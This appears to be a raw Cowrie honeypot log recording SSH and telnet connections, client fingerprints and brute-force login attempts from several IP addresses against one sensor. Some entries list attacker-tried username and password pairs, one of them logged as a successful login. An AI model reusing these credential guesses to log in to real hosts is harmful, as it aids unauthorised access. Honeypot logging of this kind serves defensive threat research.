{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36740,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7896729482","protocol":"telnet","message":"New connection: 62.210.97.77:36740 (10.17.0.5:23) [session: 4d7896729482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:19.203803Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:19.242367Z","src_ip":"187.16.96.250","session":"ac121c596dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.57830548286438,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:19.286999Z","src_ip":"165.232.131.181","session":"9bfe76801450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.67043995857239,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:19.891251Z","src_ip":"62.210.97.77","session":"3d0e10e6df41","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"V5000Wh240109","message":"login attempt [root/V5000Wh240109] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:19.978550Z","src_ip":"213.209.159.158","session":"e9c66ddcf99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:20.361215Z","src_ip":"187.16.96.250","session":"ac121c596dea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":42066,"dst_ip":"10.17.0.5","dst_port":22,"session":"afce50c6d0d0","protocol":"ssh","message":"New connection: 187.16.96.250:42066 (10.17.0.5:22) [session: afce50c6d0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:20.473675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:20.479172Z","src_ip":"187.16.96.250","session":"afce50c6d0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:20.595614Z","src_ip":"187.16.96.250","session":"afce50c6d0d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:21.099300Z","src_ip":"187.16.96.250","session":"afce50c6d0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:21.218965Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:21.223420Z","src_ip":"187.16.96.250","session":"afce50c6d0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36748,"dst_ip":"10.17.0.5","dst_port":23,"session":"29a7f2dc1754","protocol":"telnet","message":"New connection: 62.210.97.77:36748 (10.17.0.5:23) [session: 29a7f2dc1754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:21.732343Z"}
{"eventid":"cowrie.session.closed","duration":33.64641571044922,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:21.783894Z","src_ip":"62.210.97.77","session":"458ee7becaa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49418,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d72b62835c2","protocol":"telnet","message":"New connection: 165.232.131.181:49418 (10.17.0.5:23) [session: 6d72b62835c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:21.982552Z"}
{"eventid":"cowrie.session.closed","duration":33.68334126472473,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:22.168007Z","src_ip":"62.210.97.77","session":"46054c38d25c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50541806221008,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:22.369464Z","src_ip":"62.210.97.77","session":"d1e2b240d54b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.46685838699341,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:23.037639Z","src_ip":"65.60.27.33","session":"44ad1243141e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:23.259165Z","src_ip":"213.209.159.158","session":"e9c66ddcf99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":42664,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcfc6512c7f3","protocol":"ssh","message":"New connection: 213.209.159.158:42664 (10.17.0.5:22) [session: dcfc6512c7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:23.360056Z"}
{"eventid":"cowrie.session.closed","duration":37.51028108596802,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:24.042645Z","src_ip":"62.210.97.77","session":"437a5cc014b9","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:25.885691Z","src_ip":"213.209.159.158","session":"dcfc6512c7f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:25.889244Z","src_ip":"213.209.159.158","session":"dcfc6512c7f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49786,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60d40a02291","protocol":"telnet","message":"New connection: 165.232.131.181:49786 (10.17.0.5:23) [session: f60d40a02291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:26.027507Z"}
{"eventid":"cowrie.session.closed","duration":34.9660484790802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:26.840638Z","src_ip":"65.60.27.33","session":"fcd6d5aacb5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.43390464782715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:28.684482Z","src_ip":"62.210.97.77","session":"88f382e1f9b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.79724192619324,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:28.819597Z","src_ip":"65.60.27.33","session":"a1daa2f978c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40362,"dst_ip":"10.17.0.5","dst_port":23,"session":"3404f6b68b7a","protocol":"telnet","message":"New connection: 62.210.97.77:40362 (10.17.0.5:23) [session: 3404f6b68b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:29.020297Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40364,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c667f92e20","protocol":"telnet","message":"New connection: 62.210.97.77:40364 (10.17.0.5:23) [session: 22c667f92e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:30.149525Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47936,"dst_ip":"10.17.0.5","dst_port":23,"session":"16cc1a882ceb","protocol":"telnet","message":"New connection: 65.60.27.33:47936 (10.17.0.5:23) [session: 16cc1a882ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:30.814034Z"}
{"eventid":"cowrie.session.closed","duration":44.068464279174805,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:33.713054Z","src_ip":"165.232.131.181","session":"903bb280abf2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vB","message":"login attempt [root/vB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:35.356450Z","src_ip":"213.209.159.158","session":"dcfc6512c7f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53516,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd2c29709ff","protocol":"telnet","message":"New connection: 65.60.27.33:53516 (10.17.0.5:23) [session: 1bd2c29709ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:35.887599Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40380,"dst_ip":"10.17.0.5","dst_port":23,"session":"184c58d1950a","protocol":"telnet","message":"New connection: 62.210.97.77:40380 (10.17.0.5:23) [session: 184c58d1950a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:37.185923Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40382,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce14cd011453","protocol":"telnet","message":"New connection: 62.210.97.77:40382 (10.17.0.5:23) [session: ce14cd011453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:37.974555Z"}
{"eventid":"cowrie.session.closed","duration":120.00163412094116,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:38.562769Z","src_ip":"165.232.131.181","session":"55339bea6c35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:39.001707Z","src_ip":"213.209.159.158","session":"dcfc6512c7f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54488,"dst_ip":"10.17.0.5","dst_port":22,"session":"e74676b41956","protocol":"ssh","message":"New connection: 213.209.159.158:54488 (10.17.0.5:22) [session: e74676b41956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:39.082424Z"}
{"eventid":"cowrie.session.closed","duration":46.185977935791016,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:40.972883Z","src_ip":"65.60.27.33","session":"a274124fb701","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:41.398347Z","src_ip":"213.209.159.158","session":"e74676b41956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:41.402193Z","src_ip":"213.209.159.158","session":"e74676b41956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46548,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdcbc5e28182","protocol":"telnet","message":"New connection: 62.210.97.77:46548 (10.17.0.5:23) [session: bdcbc5e28182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:42.507239Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b0be32372a","protocol":"telnet","message":"New connection: 62.210.97.77:46552 (10.17.0.5:23) [session: 23b0be32372a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:43.154011Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58686,"dst_ip":"10.17.0.5","dst_port":23,"session":"452233a00d60","protocol":"telnet","message":"New connection: 165.232.131.181:58686 (10.17.0.5:23) [session: 452233a00d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:46.407335Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46562,"dst_ip":"10.17.0.5","dst_port":23,"session":"c90480630941","protocol":"telnet","message":"New connection: 62.210.97.77:46562 (10.17.0.5:23) [session: c90480630941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:47.118804Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39444,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f33a05b2151","protocol":"telnet","message":"New connection: 65.60.27.33:39444 (10.17.0.5:23) [session: 6f33a05b2151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:48.124139Z"}
{"eventid":"cowrie.session.closed","duration":36.024717807769775,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:50.089898Z","src_ip":"62.210.97.77","session":"b366215f4a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250441551208496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:50.454093Z","src_ip":"62.210.97.77","session":"4d7896729482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.26176643371582,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:50.689013Z","src_ip":"165.232.131.181","session":"f92eca8e4913","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"user_jenkins","message":"login attempt [root/user_jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:50.790934Z","src_ip":"213.209.159.158","session":"e74676b41956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99926400184631,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:50.938730Z","src_ip":"165.232.131.181","session":"a3911200508e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3944525718689,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:51.035127Z","src_ip":"62.210.97.77","session":"d6a8aff0896d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:54.158773Z","src_ip":"213.209.159.158","session":"e74676b41956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":60220,"dst_ip":"10.17.0.5","dst_port":22,"session":"db3d51c9ff83","protocol":"ssh","message":"New connection: 213.209.159.158:60220 (10.17.0.5:22) [session: db3d51c9ff83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:54.248923Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36360,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea5d6fd69ba","protocol":"telnet","message":"New connection: 38.54.119.93:36360 (10.17.0.5:23) [session: 6ea5d6fd69ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:54.552257Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57130,"dst_ip":"10.17.0.5","dst_port":23,"session":"a53b4e894996","protocol":"telnet","message":"New connection: 62.210.97.77:57130 (10.17.0.5:23) [session: a53b4e894996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:55.459002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:56.300701Z","src_ip":"213.209.159.158","session":"db3d51c9ff83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:56.304820Z","src_ip":"213.209.159.158","session":"db3d51c9ff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34650,"dst_ip":"10.17.0.5","dst_port":23,"session":"7374e8067a7b","protocol":"telnet","message":"New connection: 165.232.131.181:34650 (10.17.0.5:23) [session: 7374e8067a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:57.231450Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f080ebc11d","protocol":"telnet","message":"New connection: 165.232.131.181:34938 (10.17.0.5:23) [session: 09f080ebc11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:57.969697Z"}
{"eventid":"cowrie.session.closed","duration":37.71623420715332,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:59.448387Z","src_ip":"62.210.97.77","session":"29a7f2dc1754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52912,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbdd319466a","protocol":"telnet","message":"New connection: 65.60.27.33:52912 (10.17.0.5:23) [session: 7dbdd319466a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:59.898793Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":55696,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1676032a039","protocol":"ssh","message":"New connection: 89.218.69.66:55696 (159.203.135.109:22) [session: f1676032a039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:02.254215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:02.260051Z","src_ip":"89.218.69.66","session":"f1676032a039","protocol":"ssh"}
